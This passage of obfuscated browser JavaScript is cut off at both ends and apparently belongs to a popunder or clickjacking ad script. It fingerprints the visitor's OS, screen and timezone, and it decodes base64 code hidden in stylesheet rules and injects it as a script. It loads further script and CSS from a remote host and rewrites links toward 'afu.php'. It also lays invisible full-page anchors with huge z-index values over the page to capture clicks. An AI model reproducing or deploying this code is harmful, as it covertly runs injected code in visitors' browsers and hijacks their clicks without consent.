-pdataOld) { /** * @param {number} obj * @return {undefined} */ var isUndefined = function(obj) { /** @type {number} */ res = obj; }; isUndefined(suiteView); } else { if (deepDataAndEvents <= -selector) { /** * @param {number} obj * @return {undefined} */ var _clone = function(obj) { /** @type {number} */ res = obj; }; _clone(fromIndex); } else { if (deepDataAndEvents <= -idx) { /** * @param {number} obj * @return {undefined} */ var forOwn = function(obj) { /** @type {number} */ res = obj; }; forOwn(base); } else { if (I3x.s6h(deepDataAndEvents, id)) { /** * @param {number} el * @return {undefined} */ var text = function(el) { /** @type {number} */ res = el; }; text(passes); } else { if (I3x.n6h(deepDataAndEvents, idx)) { /** * @param {number} i * @return {undefined} */ var getArr = function(i) { /** @type {number} */ res = i; }; getArr(te); } else { if (I3x.N5h(deepDataAndEvents, sel)) { /** * @param {number} value * @return {undefined} */ var parseEntry = function(value) { /** @type {number} */ res = value; }; parseEntry(pdataCur); } else { if (I3x.k5h(deepDataAndEvents, match)) { /** * @param {number} object * @return {undefined} */ var isArray = function(object) { /** @type {number} */ res = object; }; isArray(scripts); } else { if (I3x.p5h(deepDataAndEvents, selector)) { /** * @param {number} obj * @return {undefined} */ var forIn = function(obj) { /** @type {number} */ res = obj; }; forIn(r20); } else { if (I3x.g6h(deepDataAndEvents, pdataOld)) { /** * @param {number} obj * @return {undefined} */ var HOP = function(obj) { /** @type {number} */ res = obj; }; HOP(DOT_CALL_NO_PARENS); } else { if (I3x.m6h(deepDataAndEvents, restoreScript)) { /** * @param {number} err * @return {undefined} */ var cloned = function(err) { /** @type {number} */ res = err; }; cloned(fmt); } else { if (I3x.D6h(deepDataAndEvents, suiteView)) { /** * @param {number} value * @return {undefined} */ var isUndefinedOrNull = function(value) { /** @type {number} */ res = value; }; isUndefinedOrNull(udataCur); } else { if (I3x.a5h(deepDataAndEvents, fromIndex)) { /** * @param {number} value * @return {undefined} */ var _setOption = function(value) { /** @type {number} */ res = value; }; _setOption(interval); } else { if (I3x.v6h(deepDataAndEvents, bytenew)) { /** * @param {number} object * @return {undefined} */ var keys = function(object) { /** @type {number} */ res = object; }; keys(which); } else { /** * @param {number} object * @return {undefined} */ var hasKey = function(object) { /** @type {number} */ res = object; }; hasKey(result); } } } } } } } } } } } } } } } } return res; }; /** * @return {?} */ var keys = function u() { /** @type {string} */ var e = "com"; return e; }; /** * @return {?} */ var addChild = function parse() { /** @type {string} */ var restoreScript = "Linux"; /** @type {string} */ var last = "Android"; /** @type {string} */ var udataCur = "iOS"; /** @type {string} */ var suiteView = "MacOS"; /** @type {string} */ var c = "iPod"; /** @type {string} */ var A = "iPad"; /** @type {string} */ var a = "iPhone"; /** @type {string} */ var assets = "WinCE"; /** @type {string} */ var tmp = "Win64"; /** @type {string} */ var foo = "Win32"; /** @type {string} */ var D = "Mac68K"; /** @type {string} */ var w = "PC"; /** @type {string} */ var post = "ac"; /** @type {string} */ var base = "M"; /** @type {string} */ var B = "MacIntel"; /** @type {string} */ var machine = "Macintosh"; var extra = window["window"]["navigator"]["userAgent"]; var letter = window["window"]["navigator"]["platform"]; /** @type {Array} */ var alpha = [machine, B, base + post + p + w, D]; /** @type {Array} */ var dirs = [foo, tmp, camelKey, assets]; /** @type {Array} */ var letters = [a, A, c]; /** @type {null} */ var ret = obj; if (alpha.indexOf(letter) !== -idx) { /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { ret = obj; }; isUndefined(suiteView); } else { if (letters.indexOf(letter) !== -idx) { /** * @param {?} value * @return {undefined} */ var setBit = function(value) { ret = value; }; setBit(udataCur); } else { if (dirs.indexOf(letter) !== -idx) { /** * @param {?} key * @return {undefined} */ var promote = function(key) { ret = key; }; promote(camelKey); } else { if (/Android/.test(extra)) { /** * @param {?} last * @return {undefined} */ var process = function(last) { ret = last; }; process(last); } else { if (!ret && /Linux/.test(letter)) { /** * @param {?} callback * @return {undefined} */ var getName = function(callback) { ret = callback; }; getName(restoreScript); } } } } } return ret; }; /** * @param {?} elems * @return {?} */ var isBinary = function m(elems) { /** @type {string} */ var output = str; var digit = window["navigator"]["userAgent"]; if (I3x.S6h(elems, camelKey)) { if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) { /** * @param {string} result * @return {undefined} */ var c = function(result) { /** @type {string} */ output = result; }; c(expectationResult); } if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) { /** * @param {string} collection * @return {undefined} */ var indexOf = function(collection) { /** @type {string} */ output = collection; }; indexOf(dontCloseTags); } if (/(Windows 8|Windows NT 6.2)/.test(digit)) { /** * @param {string} exports * @return {undefined} */ var a = function(exports) { /** @type {string} */ output = exports; }; a(dontCloseTags); } if (/(Windows 7|Windows NT 6.1)/.test(digit)) { /** * @param {string} args * @return {undefined} */ var unsubscribe = function(args) { /** @type {string} */ output = args; }; unsubscribe(typePattern); } } return output; }; /** * @return {?} */ var clearStateChar = function promote() { var t = window["window"]["screen"]["width"]; return t; }; /** * @return {?} */ var named = function handle() { /** @type {Date} */ var dateJul = new Date; /** @type {number} */ var val = -dateJul.getTimezoneOffset() / udataCur; return val; }; /** * @return {?} */ var fn = function initialize() { /** @type {string} */ var tokenizeEvaluate = "afu.php"; /** @type {string} */ var len = '"]'; /** @type {string} */ var inner = '*="'; /** @type {string} */ var s = "rc"; /** @type {string} */ var _ = "["; /** @type {string} */ var val = "ipt"; /** @type {string} */ var version = "cr"; var node = window["document"]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len); if (I3x.l5h(node, obj)) { return; } return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src; }; /** * @param {?} deepDataAndEvents * @return {?} */ var getText = function init(deepDataAndEvents) { /** @type {string} */ try { var l; var enabled = false; if (window["document"]["styleSheets"]) { var i; for (i in window["document"]["styleSheets"]) { if (I3x.z5h(window["document"]["styleSheets"][i]["href"], deepDataAndEvents)) { /** * @param {Document} data * @return {undefined} */ var poll = function(data) { /** @type {string} */ var type = "les"; /** @type {string} */ var left = "sRu"; /** @type {string} */ var right = "cs"; l = data.styleSheets[i][right + left + type][match][STYLE][_j]; }; poll(document); break; } } } if (!l) { return false; } l = l.substring(idx, I3x.t6h(l.length, idx)); var f = window["window"]["atob"](l); f = f.split(slashSplit); /** @type {number} */ var _id = id; var s = f.length; for (;I3x.b6h(_id, s);_id++) { if (I3x.P5h(f[_id], window["location"]["host"])) { /** * @param {?} enable * @return {undefined} */ var debug = function(enable) { enabled = enable; }; debug(true); break; } } return enabled; } catch (x) { } }; /** * @param {?} assert * @return {?} */ var ok = function callback(assert) { /** @type {string} */ var success = "text/javascript"; /** @type {string} */ var varname = "script"; /** @type {string} */ var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"'; /** @type {string} */ var b = "ef"; try { /** * @param {string} type * @return {undefined} */ var complete = function(type) { /** @type {string} */ fill.type = type; }; var l; if (window["document"]["styleSheets"]) { var i; for (i in window["document"]["styleSheets"]) { if (I3x.E6h(window["document"]["styleSheets"][i][value + c + b], assert)) { /** * @param {Document} doc * @return {undefined} */ var addNamespacesAndStylesheet = function(doc) { l = doc.styleSheets[i]["cssRules"][sel][STYLE][_j]; }; addNamespacesAndStylesheet(document); break; } } } if (!l) { /** * @param {Object} key * @return {undefined} */ var unlock = function(key) { /** @type {Object} */ l = key; }; unlock(camelKey); } l = l.substring(idx, I3x.d5h(l.length, idx)); var fill = window["document"]["createElement"](varname); complete(success); var img = window["document"]["createTextNode"](window["window"]["atob"](l)); fill.appendChild(img); window["document"]["body"]["appendChild"](fill); return function() { fill.parentNode.removeChild(fill); }; } catch (x) { } }; /** * @param {number} s * @param {number} value * @return {?} */ var indexOf = function url(s, value) { return Math.floor(I3x.O2h(Math.random(), value - s) + s); }; /** * @param {(number|string)} text * @return {?} */ var inArray = function init(text) { /** @type {number} */ var hello = id; if (I3x.Q5h(text.toString().length, idx)) { /** @type {number} */ var g = parseInt(text); return g; } else { text.toString().split(k).forEach(function(m1) { /** @type {number} */ var charCodeToReplace = parseInt(m1); return hello += charCodeToReplace; }); return init(hello); } }; /** * @param {string} key * @param {Text} value * @param {Text} data * @return {undefined} */ var X5 = function setCookie(key, value, data) { /** @type {string} */ var token = "; "; /** @type {(number|string)} */ var separator2 = '='; /** @type {string} */ var meridiem = "er"; /** @type {string} */ var max = "num"; /** * @param {string} value * @return {undefined} */ var escape = function(value) { window["document"]["cookie"] = value; }; /** * @return {undefined} */ var setDate = function() { data = data || {}; }; setDate(); var exp = data.c6h; if (typeof exp == max + min + meridiem && exp) { /** @type {Date} */ var d = new Date; d.setTime(d.getTime() + I3x.s5h(exp, backoff)); /** @type {Date} */ exp = data.c6h = d; } if (exp && exp.toUTCString) { data.c6h = exp.toUTCString(); } /** @type {string} */ value = encodeURIComponent(value); /** @type {string} */ var result = key + separator2 + value; var index; for (index in data) { result += token + index; var a = data[index]; if (I3x.M6h(a, true)) { result += separator2 + a; } } escape(result); }; /** * @param {string} key * @param {string} a * @return {?} */ var getNext = function e(key, a) { /** * @param {string} val * @return {undefined} */ var s = function(val) { /** @type {string} */ localStorage[key] = val; }; s(a); return a; }; /** * @param {string} b * @return {?} */ var getter = function nan(b) { return localStorage[b]; }; /** * @param {string} elem * @return {?} */ var V5 = function get(elem) { /** @type {string} */ var expected = "=([^;]*)"; /** @type {string} */ var name = "$1"; /** @type {string} */ var label = "(?:^|; )"; var matches = window["document"]["cookie"].match(new RegExp(label + elem.replace(/([.$?*|{}()\[\]/+^])/g, name) + expected)); return matches ? decodeURIComponent(matches[idx]) : undefined; }; /** * @param {Node} object * @param {?} arg * @return {?} */ var findClosestLink = function extend(object, arg) { if (!object) { return obj; } if (I3x.N6h(object.tagName, arg)) { return object; } return extend(object.parentNode, arg); }; /** * @return {undefined} */ var appendModelPrefix = function loaded() { /** @type {(null|number)} */ var backoff = 750; /** @type {string} */ var longNameB = "deo"; /** @type {string} */ var r = "v"; /** @type {string} */ var Cancel = "ed"; /** @type {string} */ var nbsp = "mb"; /** @type {string} */ var d = "am"; /** @type {string} */ var a = ", "; /** @type {string} */ var g = "j"; /** @type {string} */ var f = "ob"; forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); until = forEach(log(f + g + b + s + $1 + a + key + _ + c + d + b + a + b + nbsp + Cancel + a + r + key + longNameB + a + e + prefix + content + key + v), function(element) { /** @type {string} */ var ABSOLUTE = "absolute"; /** @type {string} */ var margin = "px"; /** @type {boolean} */ var f = array.some(function(deepDataAndEvents) { return I3x.H6h(element.offsetWidth + customViewMenuOffsetWidth + element.offsetHeight, deepDataAndEvents); }); if (!f) { var elementRect = proceed(element); return drawBorder({ left : elementRect.left + margin, top : elementRect.top + margin, height : element.offsetHeight + margin, width : element.offsetWidth + (ms + customViewMenuOffsetWidth), position : ABSOLUTE }); } return[]; }); /** @type {number} */ tref = setTimeout(loaded, backoff); }; /** * @return {undefined} */ var loopMatch = function unload() { if (I3x.q5h(until.length, id)) { return; } forEach(until, function(t) { if (t.parentNode) { t.parentNode.removeChild(t); } }); if (tref) { clearTimeout(tref); } }; /** * @param {string} deepDataAndEvents * @return {?} */ var log = function clone(deepDataAndEvents) { /** @type {Array} */ var res = []; try { res = forEach(window["document"]["querySelectorAll"](deepDataAndEvents), function(obj) { return obj; }); } catch (x) { } return res; }; /** * @param {Array} arg * @param {Function} callback * @return {?} */ var forEach = function map(arg, callback) { /** @type {Array} */ var bucket = []; /** @type {number} */ var key = id; var value = void id; for (;I3x.C5h(key, arg.length);) { value = callback(arg[key], key, arg); if (I3x.R5h(value, undefined)) { bucket.push(value); } key += idx; } return bucket; }; /** * @param {Object} n * @return {?} */ var proceed = function chunk(n) { var otherElementRect = n.getBoundingClientRect(); return{ top : Math.round(otherElementRect.top + I3x.i2h(window["window"]["pageYOffset"] || (window["document"]["documentElement"]["scrollTop"] || window["document"]["body"]["scrollTop"]), window["document"]["documentElement"]["clientTop"] || (window["document"]["body"]["clientTop"] || id))), left : Math.round(otherElementRect.left + I3x.y5h(window["window"]["pageXOffset"] || (window["document"]["documentElement"]["scrollLeft"] || window["document"]["body"]["scrollLeft"]), window["document"]["documentElement"]["clientLeft"] || (window["document"]["body"]["clientLeft"] || id))) }; }; /** * @param {number} xs * @return {?} */ var get = function extend(xs) { /** @type {string} */ var actualObject = "0123456789abcdef"; /** @type {string} */ var obj = k; /** @type {string} */ var object = actualObject; /** @type {number} */ var udataCur = id; for (;I3x.W6h(udataCur, match);udataCur++) { obj += object.charAt(I3x.p6h(xs >> udataCur * fromIndex + selector, 15)) + object.charAt(I3x.X6h(xs >> udataCur * fromIndex, 15)); } return obj; }; /** * @param {string} result * @return {?} */ var cloneDate = function $(result) { /** * @return {undefined} */ var IEContentLoaded = function() { actions[I3x.m5h(udataCur * r20, sel)] = I3x.H5h(result.length, fromIndex); }; var udataCur = I3x.w5h(result.length + fromIndex, restoreScript) + idx; /** @type {Array} */ var actions = new Array(I3x.C2h(udataCur, r20)); /** @type {number} */ var _id = id; for (;I3x.x5h(_id, udataCur * r20);_id++) { /** * @param {number} s * @return {undefined} */ var esc = function(s) { /** @type {number} */ actions[_id] = s; }; esc(id); } /** @type {number} */ _id = id; for (;I3x.K6h(_id, result.length);_id++) { actions[I3x.x6h(_id, sel)] |= I3x.l6h(result.charCodeAt(_id), _id % selector * fromIndex); } actions[I3x.T6h(_id, sel)] |= I3x.W5h(128, _id % selector * fromIndex); IEContentLoaded(); return actions; }; /** * @param {number} deepDataAndEvents * @param {number} a * @return {?} */ var $ = function clone(deepDataAndEvents, a) { var udataCur = I3x.K5h(deepDataAndEvents, 65535) + I3x.o5h(a, 65535); var y = I3x.u6h(deepDataAndEvents, r20) + I3x.r6h(a, r20) + I3x.C6h(udataCur, r20); return I3x.y6h(y << r20, udataCur & 65535); }; /** * @param {number} dataAndEvents * @param {number} from * @return {?} */ var wrap = function clone(dataAndEvents, from) { /** @type {number} */ var to = 32; return I3x.f6h(dataAndEvents << from, dataAndEvents >>> to - from); }; /** * @param {number} context * @param {number} s * @param {number} dataAndEvents * @param {?} deepDataAndEvents * @param {number} target * @param {number} object * @return {?} */ var mixin = function clone(context, s, dataAndEvents, deepDataAndEvents, target, object) { return $(wrap($($(s, context), $(deepDataAndEvents, object)), target), dataAndEvents); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} x * @param {number} arr * @param {?} deepDataAndEvents * @param {number} obj * @param {number} block * @return {?} */ var set = function clone(object, dataAndEvents, x, arr, deepDataAndEvents, obj, block) { return mixin(I3x.z6h(dataAndEvents, x) | ~dataAndEvents & arr, object, dataAndEvents, deepDataAndEvents, obj, block); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} x * @param {?} deepDataAndEvents * @param {number} value * @param {number} src * @return {?} */ var insert = function clone(object, dataAndEvents, obj, x, deepDataAndEvents, value, src) { return mixin(I3x.r5h(dataAndEvents, x) | obj & ~x, object, dataAndEvents, deepDataAndEvents, value, src); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} xs * @param {number} x * @param {?} deepDataAndEvents * @param {number} regex * @param {number} other * @return {?} */ var test = function clone(object, dataAndEvents, xs, x, deepDataAndEvents, regex, other) { return mixin(I3x.a2h(dataAndEvents, xs, x), object, dataAndEvents, deepDataAndEvents, regex, other); }; /** * @param {number} object * @param {number} dataAndEvents * @param {number} obj * @param {number} arr * @param {?} deepDataAndEvents * @param {number} callback * @param {number} value * @return {?} */ var iterator = function clone(object, dataAndEvents, obj, arr, deepDataAndEvents, callback, value) { return mixin(obj ^ (dataAndEvents | ~arr), object, dataAndEvents, deepDataAndEvents, callback, value); }; /** * @param {string} callback * @return {?} */ var getValue = function render(callback) { /** @type {number} */ var Q = 343485551; /** @type {(number|string)} */ var udataCur = 718787259; /** @type {number} */ var y = 1120210379; /** @type {number} */ var f = 145523070; /** @type {number} */ var silentOptions = 1309151649; /** @type {number} */ var e = 1560198380; /** @type {number} */ var g = 30611744; /** @type {(number|string)} */ var _v = 1873313359; /** @type {number} */ var X = 2054922799; /** @type {number} */ var V = 1051523; /** @type {(number|string)} */ var M = 1894986606; /** @type {(number|string)} */ var camelKey = 1700485571; /** @type {number} */ var W = 57434055; /** @type {number} */ var u = 1416354905; /** @type {number} */ var STACK_JUMP_SEPARATOR = 1126891415; /** @type {number} */ var S = 198630844; /** @type {number} */ var t = 995338651; /** @type {number} */ var power = 530742520; /** @type {number} */ var Z = 421815835; /** @type {number} */ var d = 640364487; /** @type {number} */ var typePattern = 76029189; /** @type {number} */ var k = 722521979; /** @type {number} */ var F8 = 358537222; /** @type {number} */ var query = 681279174; /** @type {number} */ var p8 = 1094730640; /** @type {number} */ var s8 = 155497632; /** @type {number} */ var rem = 1272893353; /** @type {number} */ var q8 = 1530992060; /** @type {number} */ var m8 = 35309556; /** @type {number} */ var radixToPower = 1839030562; /** @type {number} */ var T8 = 2022574463; /** @type {number} */ var N8 = 378558; /** @type {number} */ var j8 = 1926607734; /** @type {number} */ var markdown = 1735328473; /** @type {number} */ var S8 = 51403784; /** @type {number} */ var B8 = 1444681467; /** @type {number} */ var eventData = 1163531501; /** @type {number} */ var d8 = 187363961; /** @type {number} */ var a8 = 1019803690; /** @type {number} */ var EventEmitter = 568446438; /** @type {number} */ var g1 = 405537848; /** @type {number} */ var W1 = 660478335; /** @type {number} */ var oldconfig = 38016083; /** @type {number} */ var u1 = 701558691; /** @type {(number|string)} */ var R = 373897302; /** @type {number} */ var originalEvent = 643717713; /** @type {number} */ var m1 = 1069501632; /** @type {number} */ var t1 = 165796510; /** @type {number} */ var stop = 1236535329; /** @type {number} */ var X8 = 1502002290; /** @type {number} */ var j1 = 40341101; /** @type {number} */ var waitsFunc = 1804603682; /** @type {number} */ var r1 = 1990404162; /** @type {number} */ var rreturn = 11; /** @type {number} */ var P8 = 42063; /** @type {number} */ var i8 = 1958414417; /** @type {number} */ var waitsForFunc = 1770035416; /** @type {number} */ var A1 = 45705983; /** @type {number} */ var x1 = 1473231341; /** @type {number} */ var spec = 1200080426; /** @type {number} */ var Q1 = 176418897; /** @type {number} */ var z8 = 1044525330; /** @type {number} */ var reversed = 22; /** @type {number} */ var suite = 606105819; /** @type {number} */ var C1 = 389564586; /** @type {number} */ var f1 = 680876936; /** @type {number} */ var m4 = 271733878; /** @type {number} */ var K1 = 1732584194; /** @type {number} */ var A8 = 271733879; /** @type {number} */ var defaultValue = 1732584193; var check = cloneDate(callback); /** @type {number} */ var value = defaultValue; /** @type {number} */ var node = -A8; /** @type {number} */ var obj = -K1; /** @type {number} */ var item = m4; /** @type {number} */ var T = id; for (;I3x.v5h(T, check.length);T += r20) { var v = value; var parent = node; var context = obj; var doc = item; value = set(value, node, obj, item, check[T + id], suiteView, -f1); item = set(item, value, node, obj, check[T + idx], passes, -C1); obj = set(obj, item, value, node, check[T + sel], DOT_CALL_NO_PARENS, suite); node = set(node, obj, item, value, check[T + match], reversed, -z8); value = set(value, node, obj, item, check[T + selector], suiteView, -Q1); item = set(item, value, node, obj, check[T + pdataOld], passes, spec); obj = set(obj, item, value, node, check[T + restoreScript], DOT_CALL_NO_PARENS, -x1); node = set(node, obj, item, value, check[T + suiteView], reversed, -A1); value = set(value, node, obj, item, check[T + fromIndex], suiteView, waitsForFunc); item = set(item, value, node, obj, check[T + bytenew], passes, -i8); obj = set(obj, item, value, node, check[T + base], DOT_CALL_NO_PARENS, -P8); node = set(node, obj, item, value, check[T + rreturn], reversed, -r1); value = set(value, node, obj, item, check[T + passes], suiteView, waitsFunc); item = set(item, value, node, obj, check[T + te], passes, -j1); obj = set(obj, item, value, node, check[T + pdataCur], DOT_CALL_NO_PARENS, -X8); node = set(node, obj, item, value, check[T + scripts], reversed, stop); value = insert(value, node, obj, item, check[T + idx], pdataOld, -t1); item = insert(item, value, node, obj, check[T + restoreScript], bytenew, -m1); obj = insert(obj, item, value, node, check[T + rreturn], pdataCur, originalEvent); node = insert(node, obj, item, value, check[T + id], interval, -R); value = insert(value, node, obj, item, check[T + pdataOld], pdataOld, -u1); item = insert(item, value, node, obj, check[T + base], bytenew, oldconfig); obj = insert(obj, item, value, node, check[T + scripts], pdataCur, -W1); node = insert(node, obj, item, value, check[T + selector], interval, -g1); value = insert(value, node, obj, item, check[T + bytenew], pdataOld, EventEmitter); item = insert(item, value, node, obj, check[T + pdataCur], bytenew, -a8); obj = insert(obj, item, value, node, check[T + match], pdataCur, -d8); node = insert(node, obj, item, value, check[T + fromIndex], interval, eventData); value = insert(value, node, obj, item, check[T + te], pdataOld, -B8); item = insert(item, value, node, obj, check[T + sel], bytenew, -S8); obj = insert(obj, item, value, node, check[T + suiteView], pdataCur, markdown); node = insert(node, obj, item, value, check[T + passes], interval, -j8); value = test(value, node, obj, item, check[T + pdataOld], selector, -N8); item = test(item, value, node, obj, check[T + fromIndex], rreturn, -T8); obj = test(obj, item, value, node, check[T + rreturn], r20, radixToPower); node = test(node, obj, item, value, check[T + pdataCur], result, -m8); value = test(value, node, obj, item, check[T + idx], selector, -q8); item = test(item, value, node, obj, check[T + selector], rreturn, rem); obj = test(obj, item, value, node, check[T + suiteView], r20, -s8); node = test(node, obj, item, value, check[T + base], result, -p8); value = test(value, node, obj, item, check[T + te], selector, query); item = test(item, value, node, obj, check[T + id], rreturn, -F8); obj = test(obj, item, value, node, check[T + match], r20, -k); node = test(node, obj, item, value, check[T + restoreScript], result, typePattern); value = test(value, node, obj, item, check[T + bytenew], selector, -d); item = test(item, value, node, obj, check[T + passes], rreturn, -Z); obj = test(obj, item, value, node, check[T + scripts], r20, power); node = test(node, obj, item, value, check[T + sel], result, -t); value = iterator(value, node, obj, item, check[T + id], restoreScript, -S); item = iterator(item, value, node, obj, check[T + suiteView], base, STACK_JUMP_SEPARATOR); obj = iterator(obj, item, value, node, check[T + pdataCur], scripts, -u); node = iterator(node, obj, item, value, check[T + pdataOld], which, -W); value = iterator(value, node, obj, item, check[T + passes], restoreScript, camelKey); item = iterator(item, value, node, obj, check[T + match], base, -M); obj = iterator(obj, item, value, node, check[T + base], scripts, -V); node = iterator(node, obj, item, value, check[T + idx], which, -X); value = iterator(value, node, obj, item, check[T + fromIndex], restoreScript, _v); item = iterator(item, value, node, obj, check[T + scripts], base, -g); obj = iterator(obj, item, value, node, check[T + restoreScript], scripts, -e); node = iterator(node, obj, item, value, check[T + te], which, silentOptions); value = iterator(value, node, obj, item, check[T + selector], restoreScript, -f); item = iterator(item, value, node, obj, check[T + rreturn], base, -y); obj = iterator(obj, item, value, node, check[T + sel], scripts, udataCur); node = iterator(node, obj, item, value, check[T + bytenew], which, -Q); value = $(value, v); node = $(node, parent); obj = $(obj, context); item = $(item, doc); } return get(value) + get(node) + get(obj) + get(item); }; toggle(radixToPower); /** @type {Array} */ var array = [foo, value2, baz, aba, I2, A_Z_a_z + d1 + d2 + customViewMenuOffsetWidth + d1 + w2]; /** @type {number} */ var index2 = idx; /** @type {number} */ var progressContexts = selector; /** @type {string} */ var rvar = item.j5h; /** @type {Array} */ var src = item.t5h; var tref = void id; /** @type {Array} */ var until = []; var blank; var text; var index; /** @type {string} */ var orig = path; var child = child || {}; isUndefinedOrNull(item); isArguments(a); /** @type {string} */ var expectedOutput = expected; /** @type {string} */ var up = mouseup; index = getIndex(); tryIt(); throttledUpdate(); if (I3x.X5h(item.F5h, undefined) && I3x.j6h(item.F5h.length, id)) { var memory; valueAccessor(function() { getActual(function() { /** * @param {Array} options * @param {?} $vid * @return {undefined} */ function pause(options, $vid) { /** * @param {Element} e * @return {undefined} */ function pause(e) { if (e.classList.contains(item.F5h)) { e.classList.remove(item.F5h); e.classList.add(getValue(child.b5h + Date.now())); } } /** @type {number} */ var len = id; var spaces = options.length; for (;I3x.F6h(len, spaces);len++) { if ($vid) { /** * @return {undefined} */ var callback = function() { /** @type {string} */ var dots = ".html"; options[len].href = text + dots; }; callback(); pause(options[len]); continue; } options[len].href = fn(); } } /** * @return {undefined} */ var bindings = function() { memory = window["document"]["querySelectorAll"](total + item.F5h) ? window["document"]["querySelectorAll"](total + item.F5h) : obj; }; bindings(); if (I3x.U6h(memory, obj)) { return; } toVLQSigned(function() { pause(memory, true); }, function() { pause(memory); }); }); }); return; } var node = function() { var doneResults = false; return function() { /** @type {string} */ var filename = "ript"; /** * @param {?} data * @return {undefined} */ var triggerHandler = function(data) { doneResults = data; }; /** * @param {string} blank * @return {undefined} */ var err = function(blank) { /** @type {string} */ img.src = blank; }; if (doneResults) { return; } triggerHandler(true); var img = window["document"]["createElement"](name + s + filename); err(blank); valueAccessor(function() { window["document"]["body"]["appendChild"](img); }); /** * @return {undefined} */ img.onload = function() { img.parentNode.removeChild(img); if (I3x.Q6h(window["window"].zfgloadedpopup, true)) { onerror(img); } }; /** * @return {undefined} */ img.onerror = function() { onerror(img); }; }; }(); var onerror = function() { var H2h = false; return function init(editor) { /** @type {string} */ var udataCur = "anonymous"; /** @type {string} */ var memory = "text/css"; /** @type {string} */ var pdataOld = "stylesheet"; /** @type {string} */ var seq = "head"; /** @type {string} */ var div = "link"; /** * @return {undefined} */ var loop = function() { /** @type {string} */ var extension = "css"; elem.id = index + extension; }; /** * @param {?} value * @return {undefined} */ var fn = function(value) { elem.rel = value; }; /** * @param {Object} value * @return {undefined} */ var options = function(value) { /** @type {Object} */ elem.crossOrigin = value; }; /** * @param {string} type * @return {undefined} */ var fire = function(type) { /** @type {string} */ elem.type = type; }; /** * @return {undefined} */ var change = function() { /** @type {string} */ var dots = ".css"; elem.href = text + dots; }; if (H2h) { return; } if (editor.parentNode) { editor.parentNode.removeChild(editor); } var elem = window["document"]["createElement"](div); var target = window["document"]["getElementsByTagName"](seq)[id]; loop(); fn(pdataOld); fire(memory); options(udataCur); change(); if (target) { target.insertBefore(elem, target.firstChild); } /** * @return {undefined} */ elem.onload = function() { var gameConfig = getText(elem.href); if (gameConfig) { on(failuresLink); elem.parentNode.removeChild(elem); return; } var prep = ok(elem.href); setTimeout(function() { /** @type {string} */ var closure = "io"; /** @type {string} */ var arr = "nct"; /** @type {string} */ var inner = "fu"; if (typeof prep === inner + arr + closure + style) { prep(); } elem.parentNode.removeChild(elem); }, backoff); if (I3x.O5h(window["window"].zfgloadedpopup, true)) { on(failuresLink); } }; /** * @return {undefined} */ elem.onerror = function() { on(failuresLink); elem.parentNode.removeChild(elem); }; }; }(); var on = function() { var deep = false; return function(deepDataAndEvents) { /** * @return {?} */ function pluck() { return getter(index).split(path).map(function(m1) { return parseInt(m1, base); }); } /** * @param {Array} that * @return {?} */ function filter(that) { /** @type {Array} */ var filtered = []; for (;I3x.e5h(that.length, id);) { filtered.push(that.splice(indexOf(id, that.length), idx).toString()); } return filtered; } /** * @param {number} name * @param {number} id * @param {number} s * @return {undefined} */ function getObject(name, id, s) { getNext(index, name + path + id + path + s); } /** @type {string} */ var offset = "z-index:"; /** @type {string} */ var webPortPath = "bottom:"; /** @type {string} */ var spaceBefore = "right:"; /** @type {string} */ var reference = "left:"; /** @type {string} */ var spaceAfter = "px;"; /** @type {string} */ var base = "height:"; /** @type {string} */ var val = "%;"; /** @type {string} */ var name = "width:"; /** @type {string} */ var start = "position:fixed;"; /** @type {(number|string)} */ var udataCur = 101; /** @type {number} */ var arg = 98; /** @type {number} */ var obj = 99999999; /** @type {number} */ var actual = 9999999; /** @type {string} */ var _ = "op"; /** @type {string} */ var g = "reff"; /** @type {string} */ var m = " "; /** @type {string} */ var h = "w"; /** @type {string} */ var x = "lo"; /** @type {string} */ var mapwidth = "ofol"; /** @type {string} */ var nbsp = "umbe"; /** @type {string} */ var NUMBER = "number"; /** @type {string} */ var startIndex = "___goo"; /** @type {number} */ var YY_START = 30; /** @type {string} */ var path = "|"; /** * @param {?} key * @return {undefined} */ var fn = function(key) { el.rel = key; }; /** * @param {?} target * @return {undefined} */ var deepMatches = function(target) { deep = target; }; /** * @return {undefined} */ var removeHash = function() { /** @type {string} */ var _ = "tm"; el.href = text + (total + value + _ + i); }; /** * @return {undefined} */ var throttledUpdate = function() { which = I3x.G2h(which, backoff, udataCur, udataCur); }; if (deep) { return; } deepMatches(true); /** @type {number} */ var previousSibling = idx; /** @type {(boolean|number)} */ var ifKeyword = match; /** @type {number} */ var YYSTATE = YY_START; /** @type {string} */ var index = startIndex; /** @type {number} */ var rvar = (new Date).getTime(); /** @type {(boolean|number)} */ var r20 = typeof item.n5h === NUMBER ? item.n5h : ifKeyword; /** @type {number} */ var which = typeof item.g5h === style + nbsp + c ? item.g5h : previousSibling; /** @type {number} */ var chunk = typeof item.R2h === NUMBER ? item.R2h : YYSTATE; var result = void id; throttledUpdate(); chunk *= backoff; if (!getter(index)) { getObject(rvar, id, id); appendModelPrefix(); } else { var CACHE = pluck(); var cache = f5h(CACHE, sel); var mod = cache[id]; var data = cache[idx]; if (I3x.d2h(which, id)) { getObject(id, data, id); } else { if (I3x.c5h(rvar, mod + which)) { getObject(rvar, data, id); } else { } } var animationLookup = pluck(); var matches = f5h(animationLookup, match); var classNames = matches[sel]; if ((I3x.T5h(r20, id) || I3x.q6h(classNames, r20)) && I3x.k6h(rvar, data + chunk)) { appendModelPrefix(); } } var el = window["document"]["createElement"](e); removeHash(); fn(style + mapwidth + x + h + m + style + v + g + b + c + b + c + m + style + v + _ + b + style + b + c); var i = indexOf(actual, obj); var keyName = indexOf(arg, udataCur); var type = indexOf(arg, udataCur); var found = indexOf(id, selector); var io = indexOf(id, selector); var size = indexOf(id, selector); var content = indexOf(id, selector); /** @type {Array} */ var a = [start, name + keyName + val, base + type + val, $1 + _ + $2 + found + spaceAfter, reference + size + spaceAfter, spaceBefore + content + spaceAfter, webPortPath + io + spaceAfter, offset + i + j]; window["document"]["addEventListener"](expectedOutput, function(event) { /** @type {number} */ var udataCur = (new Date).getTime(); var 